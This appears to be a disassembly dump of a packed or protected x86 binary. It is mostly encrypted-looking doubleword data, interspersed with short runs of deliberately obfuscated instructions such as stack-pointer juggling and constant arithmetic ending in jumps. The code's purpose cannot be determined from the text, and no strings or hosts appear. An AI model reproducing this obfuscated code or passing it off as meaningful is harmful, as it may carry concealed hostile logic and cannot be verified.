dd 0AE5BFB19h, 3AE0052Dh, 3CDEFBBBh, 0BF80A519h, 0A180B224h
dd 14D44CA7h, 0EAAE9D61h, 80401669h, 6BEA7A1h, 180E346h
dd 22ADA491h, 1191D783h, 2CD99290h, 0E6F9F8B8h, 0A1A279ECh
dd 0AD1AB5D0h, 3B7FE35Dh, 94702DD8h, 97CBA04Ah, 5119AEh
dd 74A20000h, 0BC173210h, 0ADA49111h, 7D1D387Ah, 0E6F90488h
dd 0A1A292F0h, 0D7D6960Eh, 0A2923EB4h, 33CFF6A1h, 34D6F0B2h
dd 8C682BB5h, 62FA992Fh, 7FC0DAD8h, 0A2927264h, 54148CA1h
dd 0B3661355h, 0AE988E07h, 4B74CA65h, 1B1572CCh, 0A2A66Eh
dd 53D0000h, 441F3AE0h, 96C5427Fh, 374E3BA4h, 93B65077h
dd 0A84D1D74h, 0B8BA7A1h, 0F88D2D49h, 0FAA0C5F9h, 0FC9EBBFBh
dd 0AD356B6Eh, 5C79A7A1h, 97F89BBEh, 32C4CD7Dh, 357A887Dh
dd 0F1D07551h, 0ADA7CFF3h, 280A51Dh, 9DD341E5h, 30C0D076h
dd 0FF22C26Ch, 3831B02h, 8230000h, 94B6F466h, 224664F6h
dd 0B8D09684h, 41660416h, 57A7B7A5h, 0D341E502h, 4FDD759Dh
dd 0F86A0829h, 69FB9FBAh, 0E3F7CE57h
dd 1DA1A8DBh, 0C362764Dh, 0E6281E24h, 882ADF07h, 0DAFC96Bh
dd 24243EBh, 0D2908242h, 5A0113B7h, 0BB3AE005h, 1E3EDEFBh
dd 7DA2B070h, 79183D19h, 7B3D2B47h, 5EF580DEh, 0A4BFA047h
dd 0CEA17CADh, 0A1A2BF98h, 0F199BC66h, 11707131h, 0A1A2BF57h
dd 0DADB779Fh, 0AF78B97Bh, 0E4A631B1h, 9819C1h, 4614B993h
dd 0DA9CFC7h, 9A014928h, 47FFA1A2h, 0E53B11B2h, 99C1A0A1h
dd 49A1A29Ah, 4A0A8B2Bh, 1B3EFEA6h, 0F8A6C6FCh, 5332C7F9h
dd 0ABA788B4h, 1542D040h, 1F3AE005h, 10E581A7h, 52F81D51h
dd 0F09ABFF7h, 0F39BBDF1h, 7F2B2F2h, 0EECCC8FFh, 0F2B8A84Bh
dd 964ADD4Ch, 0CA4D24E3h, 2EADA4B8h, 0E389CD97h, 7A3A82D5h
dd 0F952187Bh, 829AA1A2h, 7999DDDCh, 58F2A438h, 54148B3Fh
dd 0EC48CB55h, 855C794Fh, 0CFF5A5D2h, 0D7F6B637h, 83A5A5DEh
dd 356E1BDBh, 6D6317D7h, 3BDCAE98h, 0B9000000h, 0BE570362h
dd 0F1A1A1A2h, 10749704h, 11BC1732h, 33ADA491h, 6B630283h
dd 57A1A292h, 0D8825CB8h, 54AE988Dh, 1F9E3C5Eh, 0CD78A85Dh
dd 5D000000h, 9E3BAF06h, 5DC5A1A2h, 206233A8h, 13936608h
dd 765554F6h, 806E785Bh, 28E8A7A1h, 24C2E15Dh, 0A2856E01h
dd 0B11E7A0Bh, 0B6F6F797h, 456003F6h, 0F98C2A49h, 7B7A2045h
dd 0EE7C1E3Bh, 0A1D8B5EBh, 3EDCF9A7h, 0CF6B8E2Ch, 5C99FDCEh
dd 5126F0EEh, 0D37636D1h, 0A49F69F0h, 0CAE8AAADh, 2F7A928h
dd 1704168Eh, 0D3B29773h, 0ABA46F93h, 1A98BD65h, 0B5CB59FDh
dd 4A51098Eh, 0CDCC6E88h, 0B9A52A8Bh, 40CADA9Ah, 0CF28C567h
dd 19B0B12h, 0F00B0000h, 7C9EDC4Eh, 0A2E4CDEh, 0A0B8FE6Ch
dd 294E6CFEh, 6F8F9F8Dh, 3B29CDEAh, 57C55D85h, 0C052F011h
dd 71E387A2h, 0CB9FF62Fh, 35A1A8DDh, 0DE050E65h, 71942A38h
dd 40425BC9h, 0F58022h, 15301074h, 74347475h, 91D3FED1h
dd 1934ADA4h, 0A291D086h, 0D3762EA1h, 0A291E6F0h, 0D5A010A1h
dd 0CCE8AA77h, 8E9AB2Ah, 0A1A2915Eh, 1D38F8B8h, 10E585A1h
dd 91B43E51h, 0CB88A1A2h, 8F05B171h, 0A47EAE98h, 5000000h
dd 65052062h, 0DD512464h, 0D39312B8h, 0B49312B4h, 0EC28B41Dh
dd 4B6DBEF6h, 0BF16E3A3h, 0A7A19061h, 1002A8CDh, 12933752h
dd 0AC896521h, 0A4BE0AD5h, 2D54CEADh, 94541495h, 19F59186h
dd 1382A53Ch, 0EE56ABA4h, 8A2C4B4Bh, 0F66BD98h, 0ABA96B5Bh
dd 6BC595ECh, 8333ABA9h, 0E04237EFh, 91B323C3h, 9E28C4C8h
dd 0ABF8E3h, 0E0FB0000h, 6C8E2C3Eh, 0FA1E5CCEh, 90A8CE5Ch
dd 193E7CEEh, 7F9FEF7Dh, 0B19BDDAh, 0A7B54D75h, 0D042E001h
dd 41D37792h, 0DB8FE63Fh, 25A1A8DDh, 0DE051E95h, 71942A38h
dd 51C5BC9h, 0FBBB3AE0h, 7F1B3EDEh, 1A7EADBFh, 0EE46193Ch
dd 0C363815Bh, 0A32382C2h, 22F98CA9h, 0AA8E4943h, 0F2F3A3ADh
dd 67F595B0h, 7862441h, 3CAA0520h, 0DAA1A82Eh, 0DA34AF5Ah
dd 0A3E81722h, 76933E1Eh, 52046D4h, 6266465h, 255958h
dd 0FE1B5B5Ah, 0DA789E5Ch, 7AD241DBh, 0A71F3ED5h, 7D16E37Fh
dd 7515309Fh, 6A4C1E7h, 39C87h, 61E70000h, 3CE2051Ah, 3EDCF9BDh
dd 3CD6FFBFh, 39D9F9BDh, 2 dup(39DDFAB8h), 3CE2FAB8h, 3BDBF9BDh
dd 3CDEF8BAh, 2C68FABDh, 8900005Dh, 77682414h, 89000072h
dd 2168241Ch, 89000078h, 6855240Ch, 5A655952h, 0C8BB535Dh
dd 8156197Fh, 991DB1CBh, 8BC38116h, 0C17EC664h, 0F38107EBh
dd 7D2EC604h, 0C15BDD31h, 0D5F702E5h, 2996F581h, 0EB896272h
dd 0C8B545Dh, 4C48324h, 8B85052h, 89000000h, 0CA0158C2h
dd 8B5A1A89h, 8956240Ch, 4C681E6h, 81000000h, 4C6h, 24348700h
dd 2434FF5Ch, 4C4815Bh, 0E9000000h, 0FFFAE308h, 0CEB81594h
dd 306095Eh, 11E0FFC5h, 5B247EF1h, 180EB097h, 1E27CA72h
dd 0F689D9Fh, 0DA2AA3DCh, 836D04DCh, 3A4EC804h, 0DD290BD8h
dd 0B972527Ah, 947B4309h, 415F950h, 0D95C6F71h, 5220A01Ch
dd 24F8B76h, 8C1667EDh, 0DA25F373h, 0A244A287h, 0C67CDB25h
dd 0B04B8319h, 0EC5AB17Bh, 3F0072A5h, 0E85B6C42h, 5, 8BFE04Dh
dd 0D7B70F6Ch, 830F535Eh, 2, 815A6160h, 62FBC6h, 10E96000h
dd 5D000000h, 48B13A9Fh, 7DE47179h, 0BB87C32Eh, 0B2868A5Bh
dd 0C0336196h, 0B840Fh, 800F0000h, 5, 26C38166h, 63C8B85h
dd 81F1E580h, 0B7ED30EFh, 0BB665353h, 81595BE3h, 858940F7h
dd 0D381660Dh, 0EF81AE67h, 51F5C33Ah, 665764B6h, 8F6FF181h
dd 0BB06048Fh, 4D2F5787h, 0D5DB8166h, 1E88348h, 0C502D381h
dd 4848428Dh, 168C0F48h, 0E9000000h, 11h, 0A607B0Dh, 37651E4Eh
dd 0FB46AC5Ah, 0F072E251h, 0B4F88183h, 0FFFFF9Dh, 0FFFF9485h
dd 0EB15B6FFh, 8, 93E3EA00h, 4AAE94Eh, 8B680000h, 0E9060961h
dd 0FFFA1CDDh, 961EB68h, 1CD3E906h, 4E68FFFAh, 0E9060963h
dd 0FFFA1CC9h, 8EC2E3B6h, 33515A3Bh, 0AD23C8AEh, 0DDB334D8h
dd 4E02A748h, 8C6D39E4h, 0FC9C6167h, 720095FBh, 0DFB61B49h
dd 0AFEB8ADEh, 591029Bh, 2DCE7E71h, 2CBC452Ah, 5B09AE41h
dd 2743612Ch, 12085503h, 7414C375h, 0BC82FACh, 1347FD71h
dd 6A29FF05h, 2F9F893h, 0EE7B0000h, 0EB8C611Ah, 0B2DD6AC6h
dd 0F8AE7A34h, 0B6751208h, 10CA8423h, 0BC19F38h, 0F24E1D71h
dd 68A344DAh, 9AF2A5A4h, 7839F78Ah, 0EE992682h, 5BFCB6F0h
dd 95D2D74h, 0E6C6A279h, 79ABDB90h, 0B65E2FE9h, 1A325731h
dd 79A9BF81h, 0B58C68FFh, 7601A626h, 6136F380h, 1D9BCD58h
dd 0A9BF940Dh, 967DE879h, 0A3DB6F0Bh, 1D77ACE7h, 0BA5D304Eh
dd 53365335h, 3BD3BBCh, 4C6A8B62h, 7AB3FB8Bh, 0B05E6B35h
dd 0CD86DB69h, 74189491h, 0D6E90EE1h, 1DB9754Dh, 0ED61FC8Ch
dd 0A1000002h, 2ABF2DD2h, 592CA049h, 0CB5E32B7h, 7BCE8223h
dd 0F57F6D96h, 767B1C4Ah, 0CAEB8F12h, 58613386h, 29CEA134h
dd 8C9C1ABBh, 71059013h, 0F024C769h, 0FF4B6785h, 7507D071h
dd 0EF7E38AFh, 1EE3E10Ah, 0E87A379h, 72710591h, 0A87018E7h
dd 0A5CCF9B8h, 1352533Ah, 1F296710h, 8DD00DDDh, 0C1000002h
dd 4ADF8D32h, 0F94C00A9h, 6BFE9217h, 9B6E6283h, 159FCDF6h
dd 0D6DBBCEAh, 0AA4B2FB2h, 38C15326h, 892EC154h, 2CFCBADBh
dd 71058FB3h, 0F0846709h, 0FF4B6785h, 7507D071h, 505525C8h
dd 7E6EFDD4h, 59039D6h, 549F771h, 63EE0913h, 1ADC693h
dd 0D1B40000h, 0B92CBC41h, 432A40C3h, 0B0472AA2h, 632E590Fh
dd 0B6582D45h, 51F9B70Dh, 7512007Bh, 0B84A45Eh, 71710BE1h
dd 0A0370EEAh, 6D966706h, 0B22FF797h, 7E710BE0h, 829A9EC2h
dd 21936A3Eh, 0D84AC367h, 23B6710Bh, 4B5745h, 0F0E00000h
dd 0FB94B485h, 41770EF0h, 65678C62h, 700E9560h, 0F0F992B6h
dd 9047770Eh, 3CCE5A14h, 0B27511FFh, 79D18B27h, 710BDFE0h
dd 5B33895Ch, 0BE016B3h, 0FA2E1271h, 6A40E6FEh, 0CAE193h
dd 1DD70000h, 0BD3940Dh, 877DE871h, 0A2432A0Ch, 9B2472Ah
dd 9A1BF25Fh, 0BE8A44F2h, 770EF025h, 5C61349Bh, 7F167BF1h
dd 0F2AC6A7Eh, 0EF0BD56h, 0D8540377h, 0EF501F0h, 0A1751877h
dd 78194C1Ch, 8D24C043h, 3D502C77h, 0C6959F5Ah, 37C45DEDh
dd 0AD38770Eh, 0B19EFA0Ch, 3EF8A62Ah, 0E6371EAh, 9C18CF77h
dd 2C4A6813h, 0BFF0D1Ch, 1A540375h, 4F1DA64Bh, 861415FAh
dd 2ADF967Dh, 0AFE0DAD8h, 12A02DFh, 95640000h, 0CE97C10h
dd 7A1CE1E7h, 0E68E1371h, 593E83C1h, 87B63C50h, 0D7B53ED3h
dd 5B09AE42h, 0C99F24F6h, 786C9164h, 50C96159h, 0AC71058Dh
dd 452A5F1Ch, 0E04802BCh, 770EF067h, 9617FED5h, 74D9AD0Bh
dd 0B481CA1h, 2AA2432Ah, 590FB047h, 2D45632Eh, 0F9FE9273h
dd 0AB9A2B03h, 43167511h, 0FB44627h, 0C37CC25Dh, 73506875h
dd 944E08E4h, 1D9B20F1h, 4E02A748h, 0B2521BEh, 8315F871h
dd 0FD7B6E7Eh, 0C6E005E8h, 25A33C0Ch, 0C555710Bh, 0FE7AE120h
dd 497207EAh, 8EC21Fh, 1710000h, 8A668B6Ch, 6D9E523Dh
dd 0DA73D784h, 26770E79h, 3292EEB3h, 18304ED5h, 7507A38Eh
dd 753138Ch, 0DBA970B2h, 0DEB11C4Ch, 4F268BD9h, 9A7D10AEh
dd 9A167315h, 0D12E2AF2h, 4CE0386Fh, 0EAF4618h, 9F20F75Ah
dd 0BC6D02E3h, 0F04CDBDCh, 5C613598h, 9B24322h, 8B357A68h
dd 0AE0A1D61h, 4B9F95DEh, 1F5B5C33h, 0A400A94Eh, 7C8556C0h
dd 0B039DF26h, 79EC8DD8h, 91F47028h, 72EFF9FEh, 0Ch, 82579344h
dd 188AEBEh, 800328ABh, 26A6472Ah, 5933B45Bh, 0CB9D26F4h
dd 7B6D9266h, 90F80196h, 5476C0Dh, 0B9D3D4B8h, 2FB942D4h
dd 4008B142h, 5854500Bh, 405h, 4E88300h, 5C240487h
; ---------------------------------------------------------------------------
push ebp
mov ebp, esp
add ebp, 4
sub ebp, 4
xchg ebp, [esp]
pop esp
mov [esp], edi
push ebp
mov ebp, esp
add ebp, 4
sub ebp, 4
xchg ebp, [esp]
pop esp
mov [esp], edx
sub esp, 4
mov [esp], esi
mov esi, 6B8C5762h
mov edi, 9A7D093Ah
add edi, esi
pop esi
push 24F0h
mov [esp], esp
add dword ptr [esp], 4
pop edx
push ebx
mov ebx, 8
add ebx, edx
mov [ebx], edi
mov ebx, [esp]
add esp, 4
push dword ptr [esp]
pop edx
add esp, 4
push dword ptr [esp]
pop edi
add esp, 4
jmp loc_5439D9
; ---------------------------------------------------------------------------
dd 424068A6h, 9649DB8h, 0FFC50306h, 677CD4E0h, 60E3B40h
dd 4FABA150h, 0A09DE147h, 3DCCF079h, 0F7919836h, 0A9CECF3Fh
dd 0C83C7A5Eh, 38BFD85Bh, 7630F141h, 48BE73Ch, 0CAC2270h
dd 0A51D4210h, 0D09C2355h, 638D8D50h, 6A060966h, 3E85200h
dd 20000000h, 895AC35Ah, 81042454h, 1A042444h, 42000000h
dd 0DC9BC352h, 46AF8FE2h, 0D18D8934h, 6A060331h, 3E85600h
dd 20000000h, 895EC35Eh, 81042474h, 14042444h, 46000000h
dd 8BB3C356h, 31965B5h, 0E185C706h, 40060301h, 6A000069h
dd 3E85700h, 20000000h, 895FC35Fh, 8104247Ch, 14042444h
dd 47000000h, 891BC357h, 31FB5BDh, 0BD85C706h, 60321h
dd 60000000h, 8166CE8Bh, 614F53D0h, 21ADB5FFh, 6A0603h
dd 3E852h, 5A200000h, 54895AC3h, 44810424h, 140424h, 52420000h
dd 0C881E1C3h, 7D919EDEh, 6820Fh, 0B58B0000h, 603262Dh
dd 2AF9BD89h, 95FF0603h, 6032691h, 0E851006Ah, 3, 59C35920h
dd 4244C89h, 4244481h, 16h, 61C35141h, 0BD8B3C99h, 6030621h
dd 95FF006Ah, 6031FB9h, 6BEBC08Bh, 0EF7D573Ah, 1B1CDCDDh
dd 0A522B05Ch, 4D4106Ch, 0B7A1F999h, 20E5D647h, 0AF54332Dh
dd 9911BB35h, 74129B8Ch, 6F84B8F3h, 0CC5B254Dh, 0B2641AC4h
dd 47791659h, 2B81178h, 0B89B42EAh, 0C96B469Ch, 1F776120h
dd 0C0FA0E47h, 9C74C576h, 9A678062h, 0CC4D7454h, 0F858E496h
dd 5B06058Ah, 8AD98C17h, 0FBE3C72Ch, 0F9C3081Ch, 8D2A5B1Bh
dd 9677D8Dh, 0DBBE6606h, 0EE9E2h, 0D6DD0000h, 183391D3h
dd 5F6FE686h, 706EF0E7h, 31D18D89h, 85C70603h, 60301E1h
dd 7078h, 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h
dd 15h, 35C35242h, 8EBE6687h, 0BD85C7C7h, 60321h, 6A000000h
dd 3E85200h, 20000000h, 895AC35Ah, 81042454h, 1A042444h
dd 42000000h, 8F41C352h, 27D83014h, 0FFE5B65Dh, 321ADB5h
dd 7DBE6606h, 0CE9C6h, 0DC370000h, 0EC218E7Eh, 952C20DEh
dd 95FF951Fh, 6032691h, 1CE1B58Bh, 6A0603h, 1FB995FFh
dd 0C08B0603h, 259A6BEBh, 0DE33AF62h, 770B773Dh, 0DF31FA99h
dd 3969E907h, 2F0BCF0Fh, 19834F15h, 4CB2490Ch, 8C6F9DC3h
dd 3FC3691h, 0A4658D07h, 7C76390Eh, 4A6CB790h, 302E584Ah
dd 342DD352h, 6AD730Dh, 11FD0733h, 0A93F90Bh, 1191C19Fh
dd 3B00397h, 626023DBh, 0C065E11Ch, 2BD81EBh, 0D5602C7Dh
dd 0B0BA8614h, 87506430h, 40F87EBEh, 758D8DB2h, 6A060968h
dd 3E85500h, 20000000h, 895DC35Dh, 8104246Ch, 14042444h
dd 45000000h, 0BFFAC355h, 6CDCB6AAh, 31D18D89h, 6A0603h
dd 3E851h, 59200000h, 4C8959C3h, 44810424h, 140424h, 51410000h
dd 85C7D9C3h, 60301E1h, 65E0h, 6B36D5B8h, 89BD893Bh, 0C706030Fh
dd 321BD85h, 6, 0B5FFF500h, 6031CF1h, 359B589h, 95FF0603h
dd 6032691h, 1E45BD8Bh, 6A0603h, 1FB995FFh, 0C08B0603h
dd 9CD00DEBh, 4FBD1CFEh, 1D11B79Bh, 0E8FBD894h, 0Bh, 664B11BDh
dd 0F983054h, 80792734h, 235945DEh, 30A0D95h, 0FDC18106h
dd 81000064h, 0BC01BCF0h, 0E9DB2B21h, 5, 0CE8C565Dh, 193C8BFFh
dd 2959958Bh, 0F7810603h, 338A2F19h, 4E0F781h, 958B4F20h
dd 6031F51h, 528BF781h, 0C78A001Eh, 60193C89h, 0C58D8B60h
dd 89060325h, 3252DBDh, 8B666106h, 858B61D6h, 6032349h
dd 8004EB83h, 0FB8196E4h, 0FFFF9BB8h, 21850Fh, 8F0F0000h
dd 6, 1399529h, 2AE90603h, 0B2000000h, 0C5332C16h, 93845CAFh
dd 87D124E7h, 29942729h, 32279B5h, 0FF83E906h, 0E63FFFFh
dd 0B200D03Eh, 9CEA1C7Dh, 5FF3A918h, 10E89Bh, 98080000h
dd 74837C77h, 44D550A2h, 849FA793h, 958B55B4h, 6030AA1h
dd 81CF8B5Fh, 73CFC7h, 31958B00h, 2B060312h, 8BE88AF6h
dd 8B663704h, 0BCF081D3h, 0E940E4F5h, 0Ch, 0EDDA9997h
dd 5D69D55Fh, 1BF24695h, 7F92F081h, 0BF0F26D2h, 0AEC081CEh
dd 66633201h, 5029AAB9h, 898D3160h, 0E9060321h, 0Ch, 4D94F02Dh
dd 102EF86Ch, 0BF467806h, 37048F61h, 9518D8Bh, 0BE90603h
dd 9D000000h, 1572D9E4h, 5804B534h, 0EE83A798h, 81C8B704h
dd 0FF8D30FEh, 14850FFFh, 60000000h, 2D21BD8Bh, 0E9610603h
dd 59h, 0A00E6D7Ah, 0E8EAD44Eh, 0Eh, 0E5EFF549h, 0A5B75FFFh
dd 988F15EFh, 13E87254h, 0F000000h, 739F6C9Ah, 0DFC88E27h
dd 0B78CF5D4h, 0F0958F48h, 0FE8C52Ch, 0
dd 0F79F508Ch, 4CCCE34Ah, 0E2279755h, 5A5AE278h, 0FF31E95Bh
dd 66D6FFFFh, 41217D89h, 0F4AFAD72h, 0EA8D8D49h, 6A06096Ah
dd 3E85100h, 20000000h, 8959C359h, 8104244Ch, 17042444h
dd 41000000h, 4CF6C351h, 8D29C3C7h, 6033055h, 31D18D89h
dd 0DF8B0603h, 0C7FAB70Fh, 301E185h, 6C5C06h, 14E800h
dd 0D630000h, 0D4BF5C38h, 2955A615h, 0D5D921A5h, 1416E03h
dd 8B6693E9h, 85C75FFBh, 60321BDh, 0
dd 1BC58529h, 0B5FF0603h, 60323C5h, 12E9h, 23FE2D00h, 0D9259B15h
dd 0BFF2E2D1h, 0EC56FDEAh, 0FFA836A5h, 3269195h, 0E5B52906h
dd 6A060320h, 0B995FF00h, 8B06031Fh, 2B39EBC0h, 421E3578h
dd 49B0A9C7h, 50D327FEh, 0D97E01DCh, 8C27D1C4h, 0A11E3249h
dd 663CC5EEh, 0E55A3607h, 9500E97Ch, 747E228Bh, 14A014FFh
dd 0F6EC19A3h, 0A48CC1Fh, 0B2C51CA6h, 6BB88D8Dh, 0BD890609h
dd 60320B9h, 31D18D89h, 0BA660603h, 85C76715h, 60301E1h
dd 7370h, 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h
dd 16h, 94C35141h, 858B62DBh, 603263Dh, 21BD85C7h, 603h
dd 81660000h, 0FF3042F6h, 321D9B5h, 0EEBB6606h, 9195FF96h
dd 0E8060326h, 14h, 0E916C959h, 482FA86Ah, 0BEA89317h
dd 96847119h, 8678E8Ch, 6840Fh, 0BD310000h, 6031BCDh, 0FF006A5Bh
dd 31FB995h, 0EBC08B06h, 1AA72809h, 700D0B65h, 8D8D4082h
dd 6096C61h, 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h
dd 1Ah, 0BC35545h, 0FBE2D070h, 9D237DFDh, 6030F49h, 31D18D89h
dd 6A0603h, 3E855h, 5D200000h, 6C895DC3h, 44810424h, 190424h
dd 55450000h, 315148C3h, 89C44364h, 324559Dh, 0E185C706h
dd 0C060301h, 8100006Eh, 484418C3h, 0BD85C75Bh, 60321h
dd 8B000000h, 3094995h, 15B5FF06h, 0FF06031Ah, 3269195h
dd 8B666006h, 28B0FF0h, 60000000h, 6A6161h, 1FB995FFh
dd 0C08B0603h, 0C7C37AEBh, 2631C300h, 0F9E9775Bh, 69C902D1h
dd 5B778DD9h, 7336FE76h, 5B2CFE2Ch, 3B01E315h, 4A602DCh
dd 0A2F76793h, 59E36D41h, 2E0ED305h, 686069CEh, 1BC158Ah
dd 0ACAA6D5Eh, 0F5FCB0B6h, 0C8A86DC4h, 22F4F229h, 200F4401h
dd 19812F37h, 0D4437422h, 0EAA99109h, 0FA049F27h, 0E3AFD2FEh
dd 6C201EA3h, 0AF1EB8FDh, 0A7BA275Fh, 0FFA4F41Ch, 56B42FC4h
dd 8BDE1955h, 9F683B7Dh, 0AE8h, 485BA100h, 9829FE73h, 0F9F74DEh
dd 680h, 0A1858B00h, 59060312h, 11E8h, 0EC692200h, 9A8A7766h
dd 0AF730799h, 19D9DD1Ah, 0E8516C8Ah, 0Fh, 0F8570F31h
dd 23AEFCF3h, 0FF788505h, 5F814748h, 0C1815F58h, 6EDBh
dd 32621FB8h, 973CBA06h, 0C28120C8h, 0DF37843Ch, 0F9D858Bh
dd 31FF0603h, 14E8h, 0BD775F00h, 0C72390E8h, 0AE60FF20h
dd 0C568D17Fh, 0BE0A3076h, 5E58F90Bh, 81DBB70Fh, 0C9780EF6h
dd 39BD3343h, 81060324h, 51E142F6h, 0D7D88002h, 68D7EE81h
dd 830F5358h, 6, 32359D33h, 9560603h, 31F7D8Dh, 66018F06h
dd 20AADB81h, 8903E983h, 308C59Dh, 89604906h, 3061985h
dd 99B86606h, 0EA8361D6h, 15850F01h, 8B000000h, 3197585h
dd 1EE906h, 29860000h, 0AC62D0F0h, 415853AEh, 0FFFF71E9h
dd 767AB5FFh, 27DD303Fh, 1157AEC8h, 264592BDh, 7E8h, 67A18900h
dd 0CB58AD25h, 5BCBB70Fh, 0E1B58960h, 0E806032Eh, 0Ch
dd 921B2A3Bh, 4608C923h, 0BCACD8CFh, 24CD9589h, 615F0603h
dd 6494C381h, 840F0000h, 12h, 0DE9h, 13C71C00h, 36F01F0Ah
dd 2548ED0Dh, 69B8FE28h, 81490918h, 0F7008FC0h, 0CE8B6h
dd 0A8170000h, 0A0572732h, 0BCC7DFF1h, 9D29CADBh, 6033175h
dd 81338B5Ah, 0A532D4F1h, 4F68158h, 0B9565E1Dh, 10D9C31h
dd 0A065F681h, 0E2810854h, 3B97AB1Ah, 0FDB5F681h, 9D8934B6h
dd 6030B3Dh, 0F7816656h, 38F8968h, 83CAB70Fh, 0B52904EBh
dd 6032DB1h, 0BA850F48h, 89FFFFFFh, 329398Dh, 0BE8D8D06h
dd 0F06096Fh, 8D89C1B7h, 60331D1h, 0E855006Ah, 3, 5DC35D20h
dd 4246C89h, 4244481h, 19h, 0CC35545h, 0A62018FDh, 28A0F0Ah
dd 8A000000h, 0E185C7D5h, 0F0060301h, 6A00005Eh, 3E85500h
dd 20000000h, 895DC35Dh, 8104246Ch, 1B042444h, 45000000h
dd 0CDCFC355h, 0FF980036h, 13E96AA8h, 0E4000000h, 0C7033C10h
dd 5927DC0h, 0CFCB095Eh, 0A9A5A197h, 85C731A6h, 60321BDh
dd 0
dd 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h, 1Bh, 7C35646h
dd 0C794F209h, 0E80C17DBh, 11h, 0DDCCE273h, 48E7A7ABh
dd 56BB54DFh, 578211E2h, 0DDB58995h, 5F060321h, 0BE8h
dd 5721FB00h, 7BD01F2Ah, 0C9E027C5h, 5AFFB70Fh, 13E9B5FFh
dd 6A0603h, 3E851h, 59200000h, 4C8959C3h, 44810424h, 170424h
dd 51410000h, 60FB07C3h, 0EABE668Ah, 9195FF7Dh, 0F060326h
dd 685h, 0F5958B00h, 6A060312h, 0B995FF00h, 8B06031Fh
dd 651EEBC0h, 0EF31AA70h, 33B36461h, 0FA566302h, 9D3CCA78h
dd 77F0C6E2h, 3A957964h, 547C9AFFh, 9E806h, 0C8CB0000h
dd 0FB487312h, 59BA42C3h, 210D9589h, 0C1810603h, 609Ch
dd 0CE9h, 0FE2EBE00h, 0AEB917BEh, 5A6B99F6h, 180068F8h
dd 0B70F0000h, 0BA6658F0h, 31FF3183h, 39B53352h, 5F060301h
dd 8D9D295Bh, 81060323h, 73825BC3h, 0C5D68134h, 8155F5D5h
dd 0C55339F3h, 14E967h, 6C9F0000h, 4F6C2A72h, 398E86F0h
dd 23C802F6h, 0A34B7C7Fh, 0F381D906h, 17C0BDF9h, 89D1BF0Fh
dd 7810F19h, 50000000h, 0AAC24CBFh, 0E9835A71h, 65B58904h
dd 83060313h, 850F01E8h, 0FFFFFF9Ah, 1BC1952Bh, 0EE80603h
dd 8E000000h, 770E3A3Ah, 0A13EC1A2h, 604A628Eh, 8D8B6003h
dd 6032979h, 0EF805E61h, 0DAC681ADh, 0E800006Dh, 0Ah, 0C4BEADDBh
dd 0EEE1F73Ch, 10E8E205h, 0DD000000h, 8C7BA9D0h, 0F82A467Dh
dd 2B4E014Ch, 0F5E27EE8h, 47B95A5Bh, 0F00001Bh, 3E8BD2BFh
dd 6830Fh, 958B0000h, 6031BB5h, 439CEF81h, 9D8B0844h, 6031005h
dd 0DD50F781h, 953365A7h, 6030ACDh, 260FF781h, 958B7139h
dd 603267Dh, 0B1858B57h, 8F060323h, 83DA8B06h, 0BD8903EEh
dd 6030385h, 14E84Eh, 0AF7E0000h, 5BFF01BFh, 743141FEh
dd 427F89A8h, 0AF3E079Eh, 8B6639FFh, 0E9835BC3h, 93850F01h
dd 89FFFFFFh, 313BDBDh, 13E806h, 69CC0000h, 8DD8E6h, 8546AE49h
dd 0B04D103Bh, 0CEBA1C6Dh, 68D681BDh, 5F0756FEh, 0C781C78Bh
dd 6FAEh, 1AE5958Bh, 4CB90603h, 8149169Eh, 0E97D70C1h
dd 0AD8D89B6h, 8B060323h, 0D6EB811Fh, 815C0F0Dh, 8DBD46EBh
dd 0BDBA5139h, 5805EF07h, 0B6FDF381h, 95311B9Fh, 6032025h
dd 93D88153h, 8F329E77h, 0E6816607h, 0EF8131FEh, 40548275h
dd 8271C781h, 858B4054h, 6030349h, 1E981h, 850F0000h, 0FFFFFFB3h
dd 68A0F60h, 8B000000h, 32D2985h, 10E806h, 48750000h, 0AAA30FDDh
dd 0A0637402h, 8D71404Dh, 12E8DD1Fh, 1F000000h, 9CA73AADh
dd 0CE9F9127h, 0D3F14C48h, 1FCCE47Ah, 615E5842h, 0A234AC42h
dd 0A27C2406h, 3BB37D7Ah, 80330D73h, 83B42A21h, 6F302590h
dd 863025DDh, 91A598A7h, 89302311h, 8630AD8Dh, 238DA684h
dd 8636266Ah, 864BA12Eh, 3F62590h, 80330A71h, 8634CD6Ah
dd 51702512h, 0D608D4Bh, 0D3401C0h, 0A274AC42h, 33CF7D25h
dd 80333205h, 0F58CA0C5h, 56CF2322h, 3F6D599h, 80330A30h
dd 6A8C4DCAh, 82B14F6Dh, 94DAA105h, 2385DAAEh, 0B362660h
dd 804399A1h, 0DE0DA14h, 86209CF1h, 8ED92584h, 20302542h
dd 863EA02Eh, 8D792590h, 76B52A81h, 6FCFDADBh, 8630251Fh
dd 0CB2CB884h, 83882387h, 79302542h, 928DA8C2h, 0B362CE2h
dd 8F42FEC5h, 0A3229D22h, 491BA322h, 0A234AC42h, 0A27C2406h
dd 3BB37D7Ah, 80330D73h, 83B42A21h, 6F302590h, 863025DDh
dd 83A598A7h, 0A4F305E9h, 22B9h, 0CE800h, 0F2090000h, 17DBC794h
dd 7BF80F0Ch, 0BF0F456Dh, 85295EC1h, 60301E5h, 5A88C681h
dd 85890000h, 6030265h, 167A68h, 5AF88A00h, 8B36FFF8h
dd 32AD1BDh, 0F1815906h, 547D4240h, 1E2DBD03h, 0F1810603h
dd 54204EB7h, 9CE981F5h, 29390462h, 32C31BDh, 8B665106h
dd 9068FF8h, 331BDBDh, 46EE8106h, 801E7210h, 0C6817BDBh
dd 1E721042h, 137D858Bh, 0F4A0603h, 1385h, 23E9F800h, 0B1000000h
dd 8003276Eh, 43B44A7Eh, 0AFDC9694h, 2E399589h, 92E90603h
dd 90FFFFFFh, 10E1CC1h, 7D0312B8h, 4EB29E3h, 6DC2230Fh
dd 812E9h, 0FBFC9F00h, 4E730095h, 0D8E1B71Ah, 0A84D21B4h
dd 3BC05124h, 4A20DF55h, 0E5481CA5h, 69FC9015h, 9F62668Bh
dd 0C091F7F8h, 7DE962C6h, 0A5577105h, 0F0F16FC6h, 6C03770Eh
dd 0F16C2F4Bh, 91993207h, 87204420h, 6C0FEFCh, 6463FC4Ch
dd 32D9770Eh, 636896B6h, 0C9D67511h, 0E1B4E7CDh, 0EBFD487Dh
